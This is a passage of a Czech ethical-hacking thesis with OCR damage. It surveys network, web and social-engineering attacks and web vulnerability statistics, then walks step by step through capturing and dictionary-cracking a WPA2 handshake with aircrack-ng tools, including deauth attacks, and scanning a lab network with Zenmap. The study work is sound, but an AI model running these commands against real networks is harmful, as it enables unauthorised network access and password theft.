zpravy. Tak je mozno odposlechnout komunikaci v siti, zachytit oteviené prenaSend hesla

nebo jiné citlivé udaje. [6]
3.2.2 Man-In-the-Middle

Jedna se o druh sniffingu kdy dojde k pieruSeni sité a opétovnému spojeni pies pocita¢

utocnika. Je nutny fyzicky piistup k siti, coz tuto metodu znacné ztézuje.
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3.2.2.1 DNS spoofing

DNS podle [8] je systém servert na internetu, zajist'ujici preklad www adres na IP adresy a
naopak. Umoznuje tak snaz$i zapamatovani adres pocita¢u pro uzivatele, hierarchickou
organizaci vice pocitact do vétsich celku, zmény v topologii sité bez rekonfigurace klienta

apod.

V ptipadé, ze uzel sit¢ obdrzi podvrzeny DNS preklad, mize to vést k atoku Man-In-The-

Middle, protoze bude svoje pozadavky na sluzbu smétovat na podvrzeny server.
Postup utoku:

1. Obét utoku vysle pozadavek na DNS server s zadosti o preklad doménového jména
domena.cz na IP adresu.

2. Utoénik tento pozadavek odposlechne, ziska ID transakce a dalsi informace.

3. Uto¢nik zaiidi obéti $patnou odpovéd bud’ tim, ze ji sam zasle nebo
zmanipulovanim DNS serveru.

4. Obet ziska podvrzeny pieklad domena.cz na IP adresu, nasledné komunikuje s
falesnym serverem nebo samotnym ato¢nikem.

5. Tim atoénik ziskal moznost stat se prostrednikem v komunikaci.
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Obr. 2 Schéma tutoku DNS spoofing [8]

3.2.2.2 DHCP spoofing

Pti prvni ptipojeni obéti do sité posSle DHCP Discover paket, ktery slouzi ke zjisténi, jaké
DHCP servery se zde nachézeji. Tento paket je odeslan jako broadcast, takze ho obdrzi

vSechny pocitace. DHCP servery na tento paket odpovi DHCP Offer paketem, ve kterém
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nabizi parametry pro pfipojeni. Pokud je vsiti vice serveru, vybird si pocita¢ ten
nejrychlejsi. Odpovi DHCP Request paketem s zadosti o parametry pro pfipojeni. Server
odpovi DHCP Ack a pfipojeni je navazano. Utoénik k Gspé&$nému Gtoku potiebuje, aby
jeho server byl nejrychlejsi, ktery odpovi na DHCP Discover. Po pfipojeni obéti na faleSny

DHCP server lze ptfesmérovat provoz pies Gtocnika a analyzovat jeho data.

3.2.2.3 Arp cache poisoning

Protokol ARP se pouziva pro pieklad IP adres na MAC adresy. Je vyuzivan v sitich
s aktivnim prvkem (switch). JelikoZ se jedna o stary a nezabezpeCeny protokol, je velice

zranitelny.

Pii Utoku posle uto¢nik obéti paket, ktery tvrdi, ze brdna ma stejnou MAC adresu jako
uto¢nik. Tim si zajisti, ze vSechna data pdjdou pfes jeho pocita¢ a ten si je muze
prohlédnout, modifikovat a odeslat dal ptivodnimu cili a tak se stat prostfednikem. Aby si
uto¢nik zajistil, Ze nebude smazana otravend ARP cache, odesila pravidelné ARP Replay

pakety.

Pro hromadné otraveni pocitaci se pouzivaji ARP Gratuious Replay pakety, které jsou
stejné jako ARP Replay pakety, ale nepfedchdzi jim Zadné pakety se Zadostmi (ARP
Request). V ARP Gratuious Replay paketech je nastavena universalni MAC adresa
FF:FF:FF:FF:FF:FF, takZe je pfijmou vSechny pocitace v siti.

3.2.2.4 Port stealing

Stejn¢ jako u ARP poisoningu se tento Utok provadi na piepinanych sitich, protoze se
k nému vyuziva switch. Ten pfi kazdém piijmuti paketu aktualizuje CAM tabulku, ve které
se uchovava odesilatelova MAC adresa a port. Utonik posila pakety, které maji
utoénikovu MAC adresu jako cilovou a jako odesilatelova je MAC adresa obéti. Tim
docili, ze switch podle nastaveni MAC piedpoklada, ze obét” je na portu, odkud byl paket
poslan a podle toho upravi CAM tabulku. Potom switch posila data Gito¢nikovi misto obéti.
Ten si je prohlédne, opravi CAM tabulku ARP paketem a odesle obéti. Tento utok je velice
naro¢ny na konzistenci dat, protoze pii komunikaci obéti smeérem ke switchi se vzdy
piepiSe CAM tabulka na spravné adresy. Navic je na spravné hodnoty piepisuje i tito¢nik a
poté je zase piepisuje na Spatné, aby mohlo k prohlizeni paketti dochazet a zaroven, aby je
obdrzela i obét. Opakované prepisovani CAM tabulky tak muze vest k tomu, ze néktera

data nejsou ttocnikem zachycena.
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3.2.3 DoS - Denial of service

Denial of Service (odepfeni sluzby) jsou utoky, pfi kterych nejde piimo o ziskdni
neopravnéného pristupu nebo zachytavani pakett. Jde 0 znemoznéni piistupu uzivatelt K
riznym sluzbam a strankdm. Casto se pouZivaji po jinych Gsp&nych utocich, jako
prosttedek pro zahlazeni stop, nebo po netispé$Sném utoku, aby byla obéti udélana alespoini
néjaka skoda.

PC & 1 PCB

normiln
SERVER \ rmid_dd_u:-c_-

zakhleovani
L L 1 1 1]

PCC

Obr. 3 Schéma utoku DoS [8]

Podle [8] se DoS tutoky déli podle zplsobu realizace viz. Tabulka 4.

typ utoku nazev utoku

hruba sila ICMP floods
Peer-to-peer attacks
Distributed Denial of Service (DDos)

Unintentional attack

chyba v aplikaci | Teardrop attack
Nuke
LAND attack

Slowloris

Tab. 3 Rozd¢leni utokt typu Denial of Service

z hlediska zptisobu realizace [8]
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3.2.3.1 ICMP floods

Tento utok také nazyvany smurf, vyuziva vieobecného adresovani. Utoénik posila do sité
velké mnozstvi ping paketi s broadcast cilovou adresou. Tyto pakety se budou siti Sifit ke
vSem pocitacim. Pokud je jako adresa odesilatele uvedena adresa obéti, vSechny uzly

poslou odpovéd’ této obéti. Jedna-li se o velkou sit, dojde k jejimu zahlceni.

3.2.3.2 Peer-to-peer attacks

Jde o vyuziti Peer-to-peer siti. Prakticky jde o zneuziti chyb v klientu (napi. DC++) k
odpojeni od stavajiciho serveru a ptipojeni k jinému, v tomto ptipad€é pokusu o pfipojeni
K obé&ti (napf. internetova stranka). Klienti se budou snazit pfipojit protokolem DC++, i
kdyZ je obét’ nebude akceptovat, obrovské mnozstvi piichozich spojeni zptsobi velkou
zatéz. VetSina klienti ma nastavené pii piesmérovani opakované piipojeni v piipadé

selhani, a tim tento Utok jeSté umocni.

3.2.3.3 Distributed attack (DDoS)

Distribuovana verze DoS utoku, K zahlceni je pouzito zaroven vétsi mnozstvi pocitaci.
Mize se jednat o pocitae nakazené Skodlivym softwarem, ktery sam v pfedem urceném
okamziku zah4ji Gtok. Druhou moZnosti jsou tzv. Zombie PC, pocitace nakazené trojskym

koném, ktery umoziiuje vzdalenou spravu Gto€nikem. Ten rozesle signal ke spuSténi utoku.

3.2.3.4 Unintentional attack

Neumyslny DoS utok na vétSinou malo navstévovany webovy server, na ktery se diky
televiznimu vysilani, nebo umisténi odkazu na velmi navstévované stranky stane necekané
navstévovanym podobné jako u DDoS tutoku. Protoze na tento népor neni dimenzovany,

zahlti se.

3.2.3.5 Teardrop attack

Tento typ Utoku zahrnuje zaslani IP fragmentu s piekryvajicim se pfili§ velkym ndkladem
dat na cilovy pocitac. Chyba v TCP/IP pfti preskladani takového paketu mlzZe na starSich
operacnich systémech (Windows 3.1x, Windows 95, Windows NT, Linux s jadrem star§im

nez 2.0.32) vést az k jejich padu.
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3.2.3.6 Nuke

Cilovy pocita¢ je zahlcen velkym mnozstvim ICMP paketi se Spatnym CRC souctem.

Obét’ miize byt zpracovanim téchto paketi tak zaneprazdnéna, Ze piestane odpovidat.

3.2.3.7 LAND attack

Pfi tomto toku se vyuziva zmateni operac¢niho systému zasldnim specidlni zpravy, ktera
ma cilovou 1 zdrojovou adresu stejnou, a to obéti. Nekteré operacni systémy si tak za¢nou

odpovidat samy sob¢ a tim zatuhnou.

3.2.3.8 Slowris

Nejeden z nejnovéjsich utokd, ktery nezahlcuje obét obrovskym mnozstvim pozadavkd.
Tento Utok spociva v otevieni spojeni a jeho udrzovani po dlouhou dobu — klidn¢ nékolika
hodin. Toho dosdhneme tak, Ze budeme pozadavky posilat velmi pomalu, po Castech a
tésné pred vyprSenim timeoutu. Webovy server totiz obvykle otevie spojeni a ¢eka na
doruceni celého HTTP pozadavku, na ktery bude odpovidat. Utoénik ale velmi pomalu
posila jednotlivé fadky nekonecné hlavicky. Béhem tohoto ¢ekéani server neobsluhuje dalsi

pozadavky.

3.3 Utoky na webové aplikace

Oblibenym terCem tuto¢nikd jsou webové aplikace. Tyto utoky mohou poskodit
navstévniky té€chto aplikaci nebo muize utocnik ziskat pfistup na server a dostat se

neopravnéné k dal§im datim.

3.3.1 Cross-Site Scripting

Cross-Site Scripting, nazyvany také XSS je jedna z nejpouzivanéjSich metod naruseni
webovych stranek. VyuZzivd bezpecnostni chyby ve skriptech, nejcastéji neoSetfené
formulate, manipulaci s URL nebo jiné vstupy. XSS ttok spociva v tom, ze se Gto¢nikovi
podaii do napadené stranky vlozit vlastni HTML koéd na misté, kde to programétor
nepfedpokladal, tento cizi koéd se pii nasledném zobrazeni v prohlize¢i normalné
interpretuje. To muze vést k poskozeni vzhledu stranky, jejimu vypadku anebo dokonce k
ziskavani citlivych tdaji navstévnikl stranek, obchdzeni bezpecnostnich prvkii aplikace a

phishingu.
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Ackoliv je tato zranitelnost jednou z nejznamé;jsich, je i nadale jednou z nejcastéjSich chyb

soucasnych webovych aplikaci.

3.3.2 SQL Injection

SQL Injection je bezpecnostni chyba zalozend na moznosti manipulovat s daty v databazi
bez nutnosti mit k nim legitimni pfistup. Nejde zde pouze o webové aplikace, ale o
vSechny aplikace pracujici s databdzemi. Podobn¢ jako u XSS tutoku, se utoc¢nik snazi
vsunout do aplikace, pomoci neoSetienych vstupii, sviij kod, kterym zméni SQL dotaz. Tim
muze zobrazovat nebo upravovat a mazat data v databazi, ke kterym by normdlné viibec

nem¢l piistup.

3.3.3 HTTP Response Splitting

HTTP response splitting spoc¢iva v nespravné kontrole vstupii od uZivatele. Cilem tGtoénika
je predat webové aplikaci takové vstupy, aby doslo k rozdéleni piivodni odpovédi serveru
na vice odpovédi, které muze nasledné vyuzit k vykonani dalSich utoku. Zranitelnost
spoCiva v tom, ze utoénik vklada do webové aplikace spolecné se vstupem také
neocekavany fetézec. Pomoci toho uto¢nik mize manipulovat s odpovédi a dava mu tak
fakticky nastroj k ovlivnéni zbytku nejen hlavicky a téla zpravy, ale také k vytvofeni

dalsich odpovédi zcela pod jeho kontrolou. [9]

3.4 Socialni inZenyrstvi

Mezi ¢asté netechnické zplsoby uto¢nikl patii dnes tzv. sociotechniky, které vyuZzivaji
nejslabsi ¢lanek systémi - Cloveéka. Sociotechnika v pojeti informacni bezpecnosti je
presvédcovani a ovliviiovani lidi s cilem oklamat je tak, aby uvéfili, ze utocnik je nékdo
jiny a zmanipulovat je k prozrazeni informaci nebo provedeni urcitych ukont. Pti téchto
metodach se uto¢nik pokusi pomoci manipulace piesvédcit obét, aby prozradila n&jakou
vyznamnou informaci. Napf. heslo je sdéleno neznamému, kdo se piedstavi jako spravce

systému po telefonu nebo vlozeno na podvrzeny formulaf apod.

3.4.1 Phishing

Rhybateni jak je casto tato technika piekladand do ceStiny, je podvodna technika
pouzivana k ziskani citlivych udaji (hesla, ¢isla kreditnich karet) od obéti. Principem je
rozesilani e-maild, které vypadaji jako oficidlni zpravy napf. z banky a vyzyvaji adresata k

zadani jeho daju na odkazovou stranku. Tato stranka obsahuje napodobené piihlasovaci
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okno internetového bankovnictvi. UzZivatel, ktery netusi, Zze jde o podvrh, zada své

ptihlaSovaci udaje, které tim ziskaji utocnici.
3.4.2 Pharming

I u této metody se snaZi Gtoénici ziskat citlivé udaje. Uto¢nici napadnou DNS a piepsanim
IP adresy zpusobi, ze je klient pfi zadani www adresy banky do prohlizece, presmérovan
na podvodnou stranku, ktera vypada stejn¢ jako original a po zadani pfihlasovacich udajd,

vvvvvv

ptekonat ochranu DNS, ale ani zkuSeni uzivatelé nemuseji poznat, Ze byli podvedeni.

3.5 Nastroje etického hackera

Eticky hacker pouziva stejné postupy jako hacker neeticky. Neni tedy divu, Ze oba
pouzivaji i stejné nastroje. K cemu by bylo dokazovat, Ze se uto¢nik prostfednictvim
nastroje A do sité¢ nedostane, kdyby uto¢nik nastroj A vibec nepouzival? Eticky hacker
musi dobie znat nastroje druhé strany, znat exploity z undergroundu a své znalosti a
musi pokryt vSechna slabd mista systému, zatimco Uto¢nikovi stac¢i Uspésné zvladnuti

jednoho dvou exloiti anebo hodné §tésti. [1]
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4 STATISTIKA ZRANITELNOSTI WEBOVYCH APLIKACI

V roce 2008 vydala organizace WASC (The Web Application Security Consortium)
statistiku zranitelnosti webovych aplikaci, které byly shromazdény cleny této organizace
béhem penetracniho testovani a bezpecnostnich audit. Statistika zahrnuje data o 12186

webovych strankéach s 97554 zjisténymi zranitelnostmi.
Vysledkem jsou 4 vystupy:

o Celkové statistiky vSech druhii ¢innosti.
e Statistiky automatického skenovani.

o Statistika Black-box metody

e Statistika White-box metody

Automatické skenovani je pln¢ automatizovany proces, bez jakychkoliv ptedbéznych
nastaveni poskytovatele hostingu stranek. Pfi tomto testovani neni mozné nalézt vSechny
zranitelnosti, protoze ne vSechny stranky obsahuji interaktivni prvky. Dalsi nastaveni

provedena bezpecnostnim pracovnikem, by vyrazn¢ zlepsily detekci zranitelnosti.

Metoda Cerné skiinky ukazuje vysledky manualnich a automatizovanych testd webové
aplikace bez jakékoliv pfedbézné analyzy znamych udaja o aplikaci. Zpravidla to zahrnuje
skenovani se standardnim nastavenim a manualni vyhledavani slabych mist automatickymi

skenery.

Statistiky hodnoceni bezpecnosti metody bilé skiinky obsahuje vysledky hlubokych analyz
webovych aplikaci, které obsahuji analyzy aplikace provedené jako opravnény uzivatel.
Obsahuji také zdrojovy kod a binarni analyzy. ZjiSténé zranitelnosti jsou tfidény podle
WASC WSTCv2. Uroveh rizika zranitelnosti je uréovana piispévateli nebo hodnocena
podle CVSSv2.

Na zaklad¢ analyzy byly vyvozeny tyto zavery:

e Pravdépodobnost nalezeni naléhavé nebo kritické chyby ve webové aplikaci je 49%
pfi automatickém skenovani a 96% pii komplexni analyze (White-box).

e Nejrozsahlejsi zranitelnosti je Cross-Site scripting, rizné druhy Uniku informact,
SQL Injection a HTTP response Splitting.

e V porovnani s rokem 2007, pocet SQL Injection and Cross-site Scripting klesl o

13% a 20%, ale pocet stranek s rliznymi typy Gniku informaci se zvysil o 24%.
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Obr. 4 Pravdépodobnost nalezeni zranitelnosti s riznymi riziky [10]

ALL Scans | BlackBox | WhiteBox
Urgent |1877% |16.70% | 1969% |50.00%
Critical |45.22% 39.25% |74.76% |92.00%
High T227% | 73.09% 58.51% |62.00%
Medium | 36.56%  40.19% | 12.05% | 24.00%
Low 2969% | 34.45% 0.10% 4.00%
U+ 55.50% | 49.40% | 79.73% | 96.00%
U+C+H | 87.66% |86.30% 95.66% |958.84%

Tab. 4 Pravdépodobnost

nalezeni zranitelnosti s riznymi riziky [10]

Obrazek 4 a tabulka 4 nam ukazuji pravdépodobnost odhaleni zranitelnosti rizné urovné

rizika zjiSténé pii auditech a automatické skenovani.

Automaticky scan detekoval az 86% stranek se zranitelnosti vysoké, kritické nebo urgentni

urovné. Metody Black-box a White-box dosahuji vysledkt ve vyssi 96 az 98%.

Tyto vysledky jsou velmi zavislé na skutecnosti, Ze podrobna analyza rizik je vhodné&jsi ne
pouze dle typu zranitelnosti, ale také podle vysledklim vyuziti, navrhu aplikaci a realizaci.
Dalsim dualezitym faktem je, Ze automatické skenovani bylo vytvofeno pro poskytovatele
hostingu, kteti v n¢kterych piipadech nemaji aktivni obsah, zatimco hodnoceni obsahu se

obvykle provadi pro aplikaci s aktivnim obsahem. Tudiz vysledky automatického
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skenovani mohou byt interpretovany jako typicky vysledek skenovani internetu. Zatimco
vysledky Black-box a White-box metod jsou vysledky interaktivnich korporatnich
webovych aplikaci.

45%

40% - 9%

35% - 32%

30%

7%
4% a
| — [W— _—

Cross-Site Scripting Information leakage SQL Injection insufficient Transport Fingerprinting HTTP Response
Layer Protection Splitting

Obr. 5 Nejrozsitengjsi druhy zranitelnosti [10]

v

Na obrazku 5 mizeme vidét, ze nejrozsitenéjsi jsou zranitelnosti Cross-Site Scripting, unik
informaci, SQL Injection, nedostate¢na ochrana Transportni vrstvy, Fingerprinting a HTTP

Response Splitting.

Zpravidla jsou Cross-Site Scripting, SQL Injection a HTTP Response Splitting
zranitelnosti zptsobené chybami designu, zatimco unik informaci, nedostate¢na ochrana
Transportni vrstvy a Fingerprinting jsou casto zpusobeny nedostateCnou spravou (napf.

kontrola pfistupu).

Celad statistika 1ze najit zde: http://projects.webappsec.org/w/page/13246989/Web-
Application-Security-Statistics
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II. PRAKTICKA CAST
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5 DEMONSTRACNI UTOKY

Cilem praktické casti mé diplomové prace je proniknout do zabezpeCené bezdratové
pocitacové sité, jeji pruzkum a nalezeni potencionalné zranitelnych pocitaci, zjisténi jejich
bezpecnostnich dér a nasledné exploitace. Pokud to bude mozné, zjistim ptihlasSovaci hesla

uzivatell napadeného pocitace.

Dalsim ukolem bude odposlech sitové komunikace a zjisténi ptihlasovacich udaja

k webovym sluzbam uzivatele odposlouchavaného pocitace.

5.1 Backtrack 4 r2

Utoky budu provadét pomoci operaéniho systému BackTrack 4 r2. Tento zdarma Sifeny
systém je specialni distribuci Linuxu, ureny k penetratnim testim a bezpecnostnim

auditm servert, siti 1 aplikaci. V' 16 kategoriich:

e enumerace

e vyuzivani slabosti
e Scannery

e 7zjisténi hesla

e hledani slabin kodu
e maskovani

e odchytavani paketi
e tunelovaci protokol
e nastroje bezdratovych spojeni
e Bluetooth

e (isco nastroje

e databazové nastroje
e forensi nastroje

e BackTrack sluzby
e zpétné inZenyrstvi
e rlzné

obsahuje celou fadu bezpe¢nostnich aplikaci.



UTB ve Zliné, Fakulta aplikované informatiky, 2010 39

Obr. 6 Backtrack 4 r2

Nastroje, které budu pii svych demonstracnich utocich pouzivat, jsou:

aircrack-ng

Zenmap

Nessus

Metasploit Framework 3
Ophcrack

Ettercap NG

SSLstrip

w3af

Vétsina téchto nastroji je soucasti zakladni instalace BackTracku 4 r2, pokud nebude

soucasti, popisi jeho instalaci.

Operacni systém je nainstalovany ve virtudlnim pocitaci vytvofeném pomoci programu

VMware Workstation.

BackTrack 4 r2 je volné ke stazeni na internetovych strankach http://www.backtrack-

linux.org/downloads/.


http://www.backtrack-linux.org/downloads/
http://www.backtrack-linux.org/downloads/
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5.2 Popis testovaci sité

Ptestoze bude sit’ pfed utoky skenovana, abychom zjistili jeji strukturu, popisu ji pro lepsi

pochopeni utokii uz zde.

ADSL router
10.0.0.138 &

A}/N”_——/ o )
. Internet

@ WIFi switch
LI 5 11 141 & 10.0.0.137

Notebook

PC 1 PC 2 PC 3

10.0.0.100  10.0.0.67 10.0.0.64

Obr. 7 Struktura testované sité
K internetu je sit’ pfipojena pomoci ADSL routeru. K WiFi switchi, je pfipojen PC 1,
V tomto pracovnim pocitaci jsou spustény virtualni pocitace PC 2 a 3. PC 2 se systémem
Windows XP SP1, bude piipadnym cilem exploitace a PC 3 je testovaci pocita¢ se

systémem Backtrack 4 r2. Notebook bude pouZit pouze k prolomeni WPA2 zabezpeceni.

5.3 Zjisténi WPA /WPA2 hesla slovnikovou metodou

Heslo budeme zjistovat pomoci bali¢ku aircrack-ng, ktery obsahuje vSechny potiebné
programy (airmon-ng, airodump-ng, aireplay-ng a aircrack-ng). Da se fict, Ze se tento itok
sklada ze dvou ¢asti. V té prvni si musime zjistit informace o siti, na kterou budeme tutocit,
poté tyto informace vyuzit a ziskat WPA handshake. V druhé ¢asti pomoci slovnikového

utoku bude z tohoto WPA handshaku hledat heslo.

Kutoku je potfeba mit v pocitaci bezdratovou kartu, kterou je mozné piepnout do
monitorovaciho rezimu, bohuzel ne vSechny karty tento rezim umi. Seznam vSech

kompatibilnich bezdratovych karet neexistuje a tak musite sami vyzkouset, jestli se vam
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svasi kartou, utok podafi provést. Tento testovaci utok jsem provadél s wifi kartou

s chipsetem RT2860.
Postup:

1. Pomoci programu airmon-ng zjistime nazev nasi wifi karty a poté ji zapneme do

monitorovaciho rezimu:

airmon-ng
airmon-ng stop wlan0

airmon-ng start wlan0

root@vesly-bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

root@vesly-bt:~# airmon-ng

Interface Chipset Driver
wlan0 Unknown rt2860

root@vesly-bt:~# airmon-ng stop wlan0®

Interface Chipset Driver
wlan0 Unknown rt2860 (monitor mode disabled)

root@vesly-bt:~# airmon-ng start wlan0®

Interface Chipset Driver

wlan0 Unknown rt2860 (monitor mode enabled)

root@vesly-bt:~# |j

Obr. 8 airmon-ng

2. Zapneme program airodump-ng a zjistime bezdratové sité v dosahu:

airodump-ng wlan0

Na obrazku 9 vidime, ze v dosahu jsou pouze 2 bezdratové sit€¢ a zadni ptipojeni
klienti. Jedna ze siti je nezabezpeCend a druhd je chranéna WPA2-TKIP
zabezpecenim, heslo k této siti se tedy pokusime zjistit. Z vypisu programu jsou pro
nas dulezité udaje BSSID (MAC adresa vysilace) - 00:15:F2:AE:DE:56, CH
(kanal) - 1 a ESSID (nézev sité) — veselyl. Tyto tidaje pouzijeme v dalSim postupu.

Vypis program airodump-ng ukon¢ime kombinaci CTRL+C.
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root@vesly-bt:-# airodump-ng wlang|
CH 11 ][ Elapsed: 3 mins )[ 2011-05-25 00:05

BSSID PWR Beacons 2Data, #/s ] ENC CIPHER AUTH ESSID

00:13:64:30:B4:6D 0 1846 0 . OPN vesely
00:15:F2:AE:DE:56 ] 4 | 54 WPA2 TKIP PSK veselyl

B8SSID STATION Lost Packets Probes

Obr. 9 Vypis vsech dostupnych siti programem airodump-ng

3. Pomoci udaju, které jsme zjistili v minulém kroku, znovu spustime airdump-ng:

airodump-ng --bssid 00:15:F2:AE:DE:56 --ch 1 -w test2 wlanO

--bssid 00:15:F2:AE:DE:56 — omezi vypis pouze na vybranou sit’
--ch 1 — nastavi kanal 1

-W test2 — logovani do souboru test2

root@vesly-bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

root@vesly-bt:-# airodump-ng --bssid 00:15:F2:AE:DE:56 --ch 1 -w test2 wlan®
CH 1 ][ Elapsed: 4 s J[ 2011-65-24 22:46

BSSID PWR RXQ Beacons ata, #/s CH MB ENC CIPHER AUTH ESSID
00:15:F2:AE:DE: 56 0 100 40 41 1 54 WPA2 TKIP PSK veselyl
BSSID STATION W Lost Packets Probes

00:15:F2:AE:DE:56 B4:07:F9:6 J - 8
00:15:F2:AE:DE:56 ©0:1B:77:B85:30:29 4 -54 b 923

Obr. 10 Vypis pouze cilové sit¢ programem airodump-ng

Program nyni vypisuje pouze udaje o siti, kterou jsme si vybrali, pokud se podafi
zachytit WPA handshake, bude zapsdn do souboru test2. Ve spodni ¢asti tabulky

rovné€Z vidime pfipojené klienty.
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4. Nyni musime cekat, nez program oznami, ze zachytili WPA handshaku. Toho

docilime, pokud je do sité pfipojeny néjaky jiny pocita¢ s dostateCnou aktivitou.

Spustime program aireplay-ng, ktery bude vysilat pomoci deauth utoku pakety,

které odpoji asociovaného klienta z Access Pointu a nasledn¢ Airodump-ng ziska

odposlechem WPA handshake:

aireplay-ng -0 5 —e veselyl wlan0

-0 5 — spusti deauth utok pétkrat po sobé

—e veselyl — utok bude proveden na celou sit’, pokud zname MAC adresu

pfipojeného klienta, miize byt Gtok cilem pouze na jeden cil pro vétsi uspesSnost

root@vesly-bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

root@vesly-bt:~# aireplay-ng -0 5 -e veselyl

22:45

143

wlan0@
Waiting for beacon frame (ESSID: veselyl) on channel 1

Found BSSID "00:15:F2:AE:DE:56" to given ESSID "veselyl".

NB: this attack is more effective when targeting

a connected wireless client

145
145
145
145
145

143
144
144
145
145

Sending DeAuth
Sending DeAuth
Sending DeAuth
Sending DeAuth
Sending DeAuth

root@vesly-bt:~# |

to
to
to
to
to

(-c <client's mac>).
broadcast -- BSSID:
broadcast -- BSSID:
broadcast -- BSSID:
broadcast -- BSSID:
broadcast -- BSSID:

Obr. 11 Utok programem aireplay-ng

[00:
[00:
[00:
[00:
[00:

E5¢
15:
15:
152
15%

F2:
F2:
EZ$
E2:
F2:

5. Po urcité dobé¢, kterd zavisi na sile signdlu, poctu pfipojenych klientli a jejich

aktivité na siti, program airodump-ng ozndmi, ze zachytil WPA handshake

spolecné s MAC adresou vysilace v pravém horni ¢asti tabulky.
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root@vesly-bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

CH 1 ][ Elapsed: 20 mins ][ 2011-05-24 22:33 ][ WPA handshake: 00:15:F2:AE:DE:56

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:15:F2:AE:DE:56 0 100 12239 309332 420 1 54 WPA2 TKIP PSK veselyl
BSSID STATION PWR Rate Lost Packets Probes

00:15:F2:AE:DE:56 B4:07:F9:63:0E:75 0 48 -18 26 3782
00:15:F2:AE:DE:56 00:1B:77:B5:30:29 0 54 -54 18 307427

Obr. 12 Vypis programu airodump-ng po zachyceni WPA handshaku

Jak muzete vidét na obrazku 12, v mém piipadé jsme na WPA handshake ¢ekal 20
minut. Tato doba lze ¢aste¢né ovlivnit zopakovanim utoku ze 4. bodu.

6. Nyni tedy mame WPA handshake ulozeny v souboru test2.cap a mize pfistoupit ke
slovnikovému utoku. Instalace Backtrack jiz slovniky obsahuje, takze nemusime

zadné hledat na internetu. Spust’te program aircrack-ng:

Aircrack-ng —w /pentest/passwords/wordlists/bt4-password.txt — b
00:15:F2.AE:DE:56 test2*.cap

-w /pentest/passwords/wordlists/bt4-password.txt — vybere slovnik bt4-password.txt
—b 00:15:F2.AE:DE:56 — ur¢eni sité pro kterou ma hledat heslo

test2*.cap — urceni soubortt s WPA handshakem, soubor test2 mize byt rozdélen na
vice casti (test2-01, test2-02 ...) diky hvézdi¢ce v ndzvu aircrack-ng otevie vSechny

soubory zacinajici test2.
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root@vesly-bt: ~ - Shell - Konsole & %
Session Edit View Bookmarks Settings Help

root@vesly-bt:~# aircrack-ng -w /pentest/passwords/wordlists/bt4-password.txt -b 00:15:F2:AE:DE &
:56 test2*.cap

Opening test2-01.cap

Reading packets, please wait...

Aircrack-ng 1.1 rl1738

33] 8548 keys tested (264.51 k/s)

KEY FOUND! [ 12345678 ]

Master Key : 27 42 2C 26 AC C9 D6 AB
62 3A 28 28 5E 4E 55 36

Transient Key : 00 B7 50 CO 48 8E 01 FE
8A 2F 61 51 C4 3F FD B2
6B FB 5F BA 2B 70 09 S5E
95 F4 35 09 97 98 2C EB

EAPOL HMAC : B5 8B 5E 5D D9 59 DB 01
avesly-bt:~# | E

4 Shell | @ Shell No. 2 =

Obr. 13 Uspé&sné vylusténé heslo programem aircrack-ng
Po spusténi program nd§ WPA handshake porovnava s dal$imi, které vytvaii pomoci slov
ze slovniku. Pokud slovnik obsahuje hledané heslo, dfive nebo pozdéji, podle rychlosti

procesoru, program ozndmi, ze nasel spravné heslo. V tomto ptipad¢ je tedy hledané heslo
12345678.

Jestlize program heslo nenajde, znamena to, Ze pouzity slovnik heslo neobsahuje, miiZzeme
tedy pouzit dalsi obsahlejsi slovnik, ktery  je v Backtracku
(/pentest/passwords/wordlists/wpa.txt) nebo na internetu napf. zde:
http://wiki.airdump.cz/Wordlist.

Obrana:

e Skryti SSID

e Pouziti delSiho slozitéj$iho hesla, které nebude ve slovniku

e Pouziti jiného druhu zabezpeceni nebo kombinace vice zabezpeceni, napt. WPA2 a

kontrola MAC adres

5.4 Skenovani sité pomoci Zenmap

Po pfipojeni do sité potiebujeme veédét, jaka je jeji struktura. K tomu nam pomuze program
Zenmap. Jedna se o grafickou nadstavbu oblibené¢ho bezpecnostniho port skeneru Nmap,
ktery nam dokaze zjistit. Pouziti tohoto scanneru je v nalezeni hostli a sluzeb na
pocitaovych sitich, ¢ili vytvoreni jakési "mapy" sit€. Aby Nmap mohl vykonat tyto ukoly,

odesila na cilového hosta specialné upravené pakety a poté analyzuje odpovédi. Je schopen


http://wiki.airdump.cz/Wordlist
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odhalit pouzité operacni systémy, jména a verze sluzeb naslouchajicich na portech, jak

dlouho je cilovy systém online nebo typy zafizeni.
Postup:

1. Spust'te program Zenmap (Menu > Backtrack > Network Mapping > Identify Live
Hosts > Zenmap).

2. Do policka Target, napiSte rozsah IP adres, ktery chce prohledat, protoze chceme
prohledat celou sit’ napiste 10.0.0.* a Profile vyberte Intense scan. Nyni zmacknéte

tlac¢itko Scan.

Zenmap

Scan Tools Profile Help

Target: |10.U.U."‘1 E] Profile: [Intense scan E]

Command: [nmap T4 -A v 10.0.0.*

(B 1 or

Obr. 14 Nastaveni skenu Zenmap

3. Program prohledd vSechny IP adresy v rozsahu a zobrazi vysledky. Nas budou

zajimat predevsim oteviené porty a pouzité operacni systémy.

[ Hosts I Services l | Nmap Output | Ports / Hosts | Topology | Host DE'EB”SI Scans

os « | Host = 10.0.0.67 &
B 10.0.0.64 » Comments
" 10.0.0.67 - Host Status
<% 10.0.0.100 State: up
A 10.0.0.137 Open ports: B «

Ay mygatewayl.: Fitered ports: 0
Closed ports: 994

Scanned ports: 1000
Up time: Mot available i

Last boot: Mot available

= Addresses
IPvd: 10.0.0.67 e

IPvé: Mot available
MAC: 00:0C:29:DD:48:7A

= Operating System
Mame: Microsoft Windows XP SP1

e kb 3

Filter Hosts l

Obr. 15 Vysledek skenu Zenmap, operacni systém
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Hosts [ Services l Nmap Output | Ports [ Hosts Topology| Host Deta||s| Scansl

0s 4 | Host | Port 4 ‘ Protocol 4 | State 4 | Service ‘ Version
B 10.0.084 ® 135 tep open msrpc Microsaft Win
@® 139 tep open nethios-ssn
- 10.0.0.100 @ 445 tep open microsoft-ds  Microsoft Win
'%) 10.0.0,137 @ 1025 tcp open Msrpc Microsoft Win
& mygatewayl.ar7 (1C @ 3389 tcp open microsoft-rdp Microsoft Terr
@ soo0  tep open upnp Microsoft Win

Obr. 16 Vysledek skenu Zenmap, oteviené porty

Na obrazku 15 miizeme vidét, Ze pocitac s adresou 10.0.0.67 ma operacni systém Windows
